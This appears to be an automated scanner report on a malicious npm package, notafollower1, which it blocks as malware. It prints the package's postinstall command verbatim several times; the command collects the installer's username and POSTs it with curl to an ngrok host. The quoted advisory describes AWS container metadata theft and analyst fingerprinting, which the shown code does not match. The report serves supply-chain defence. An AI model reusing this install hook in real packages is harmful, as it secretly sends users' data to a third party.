notafollower1@1.0.6: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

npm executes a postinstall hook automatically during installation. The hook collects the local username and sends it to an external endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm package installation

Impact

Unconsented collection and exfiltration of installer identity metadata.

Mechanism

install-time username collection piped to curl POST

Attack narrative

Installing the package runs its postinstall command. It selects USER or LOGNAME, falling back to os.userInfo().username, then pipes that value to curl for an HTTP POST to an external ngrok host. This is unconsented install-time metadata exfiltration with no package functionality present.

Rationale

Direct manifest inspection confirms an automatic postinstall hook that harvests the installer username and exfiltrates it. This is concrete malicious install-time behavior.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall reads the installing user's username and POSTs it to an external ngrok endpoint.

Evidence against

Package contains only package.json; no legitimate implementation or stated purpose is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall reads the installing user's username and POSTs it to an external ngrok endpoint.

package.jsonView on unpkg · L5

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"console.log(process.env.USER || process.env.LOGNAME || require('os').userInfo().username)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall reads the installing user's username and POSTs it to an external ngrok endpoint.

package.jsonView on unpkg · L5

Findings

1 Critical2 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

LowNo License